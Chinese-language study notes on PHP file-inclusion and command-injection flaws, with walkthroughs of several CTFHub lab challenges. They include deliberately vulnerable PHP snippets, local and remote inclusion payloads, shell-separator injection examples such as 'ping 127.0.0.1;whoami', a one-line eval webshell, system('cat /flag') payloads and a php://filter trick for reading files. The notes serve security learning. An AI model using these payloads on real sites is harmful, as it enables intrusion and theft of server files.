前言:本文只是写给自己看,web入门新人,大佬见笑勿喷,欢迎对笔者理解浅薄或错误之处及时指正
快速复习索引
- RCE漏洞学习笔记
- 文件包含
- 什么是文件包含
- 一颗栗子(以读写blog为例)
- 文件包含函数(php语言为例)
- 文件包含漏洞产生原因
- 继续食用栗子
- 文件包含漏洞的分类及相关设定
- php中文件包含漏洞特点
- RCE基础知识
- URL基础知识
- CTFHub RCE文件包含部分刷题
- ---文件包含---
- ---远程包含---
- ---php://input---
- php://input是什么
- WP
- ---读源代码---
- eval执行
- 命令注入
在实际web开发时,由于同一代码段可能会在不同功能地方反复出现,从而使得代码出现冗余,为精简代码,文件包含函数应运而生。
用户登录 <——链接——> 数据库
浏览博客 <——链接——> 数据库
发布博客 <——链接——> 数据库
删改博客 <——链接——> 数据库
在上述过程中可见链接数据库操作产生冗余,所以需要利用文件包含对其进行简化
用户登录——调用文件
浏览博客——调用文件
发布博客——调用文件
删改博客——调用文件
文件:链接数据库
该文件的调用过程称之为文件包含
由此可见,文件包含本身不是漏洞,应当注意分清
PS:应当注意的是几乎多数脚本语言均提供文件包含函数,只不过php文件包含运用更为广泛,所以这里以php为例,但并不是只有php有文件包含漏洞,应当注意
php提供一下四种文件包含函数,其参数为文件路径
include(); // 当文件路径包含错误时(文件不存在等),产生警告,但继续执行下面的语句
include_once(); //与include()相同,但文件仅包含一次
require(); // 当文件包含路径错误时,产生错误,终止脚本执行,下方的语句不在执行
require_once(); //与require()相同,但文件仅包含一次
1.存在动态包含
2.被包含路径用户端可控
代码示例如下
$path = $_GET['path'];
require $path;
?>
用户可以通过对提交的path参数控制被包含文件,从而产生文件包含漏洞
本词条仅为个人理解,可能具有一定误导性,建议多查多看,同时应知晓该分类仅为习惯性分类,php官网中并无此种分法
Eg. payload:?path = . . /[文件名] /index.php
与之相关的配置是在php.ini中配置 allow_url_fopen = on
不过有实践指出,即使配置 allow_url_fopen = off 时,仍存在本地上传漏洞,笔者未搭建相关环境,希望有求知欲的读者尝试完告诉笔者,此处存疑,仅为记录
Eg.payload: ?path = http:// [ip名] / [文件名] /index.php
与之相关的配置是在php.ini中配置 allow_url_include = on
值得注意的是,当配置为 allow_url_fopen = off 时,不存在远程文件包含,与上有所区别
上述特点使得图片马能十分有效的对此类漏洞进行利用
------基本管道符------
; :ping 127.0.0.1; whoami //先执行前面语句,再执行后面语句 ps:linux系统独有,windows无此符号
| :ping 127.0.0.1 | whoami //不论前面语句是否执行成功,均执行后面语句,且把前面语句的输出当作后面语句的输入
|| : ping 127.0.0.1||whoami //前面语句执行出错,则执行后面的语句,否则不执行后面语句
& : ping 127.0.0.1&whoami //不论前面语句是否执行成功,都执行后面语句 ps:linux系统中为后台符,执行结果与;一致
&& :ping 127.0.0.1&&whoami //前面语句执行出错,则不执行后面的语句,否则执行后面语句
------基本命令------
/ //根目录
. //当前目录
.. or ../ // 上一级目录
------cd进入命令------
cd / //进入到系统根目录
cd . //进入到当前目录
cd .. //返回上层目录
cd /tmp //进入指定目录/tmp
------ls显示命令与pwd------
pwd //显示当前所在目录的路径
ls //显示当前目录的内容
ls /flag //显示指定目录/flag 的内容
------cat查看命令------
cat /www/flag //查看/www/falg文件
该部分为引用,原文章在这里.
URL:统一资源定位符 (Uniform Resource Locator, URL)。
完整的URL由这几个部分构成:
schema://host :port /path ?query #hash
scheme:通信协议,常用的有http、https、ftp、mailto等
host:主机域名或IP地址
port:端口号,可选。省略时使用协议的默认端口,如http默认端口为80
path:路径由零或多个"/"符号隔开的字符串组成,一般用来表示主机上的一个目录或文件地址
query:查询,可选。用于传递参数,可有多个参数,用"&“符号隔开,每个参数的名和值用”="符号隔开
hash:信息片断字符串,也称为锚点。用于指定网络资源中的片断
php代码如下
error_reporting(0);
if (isset($_GET['file'])) { //判断是否传入参数
if (!strpos($_GET["file"], "flag")) { //判断传入参数是否含有flag字段
include $_GET["file"]; //不含有则进行文件包含
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
点开页面中的shell文件,发现如下代码
eval($_REQUEST['ctfhub']);?>
发现该一句马要求我们进行传参执行命令,于是构造payload
?file=shell.txt&ctfhub=system(“ls /”);
得到回显
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
有明显的flag字段,利用cat读取,构造payload
?file=shell.txt&ctfhub=system(“cat /flag”);
得到flag
ctfhub{e3d1e5896630b175dbb0c82e}
读源码
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) { //GET提交的变量中含有flag字段则返回hacker,不进行包含
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
发现源码对GET中flag字段进行过滤,同时检查phpinfo文件,发现 allow_url_include = on
表明可以进行远程文件包含,此处思路有两条
笔者选用第二种,思路同 php://input 部分
有关php伪协议的点这里
简而言之
php://input的使用条件是 allow_url_include = on
该伪协议的作用是通过post提交数据,如果提交的是php语句时,可被执行(原理不清,日后查)
进入题目,阅读源码
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) { //限制只能以变量只能以php://开头,即只能用伪协议
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
点开phpinfo文件
表明php://input可以使用,利用burp拦包
思路下同,不赘述
阅读源码
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
发现没有phpinfo文件,结合题目名字,利用php://filter,构造payload:
?file=php://filter/read=convert.base64-encode/resource=/flag
上述payload中 /read/ 字段内容表明以base64编码的形式读取 /flag 文件内容,再decode就可以得到flag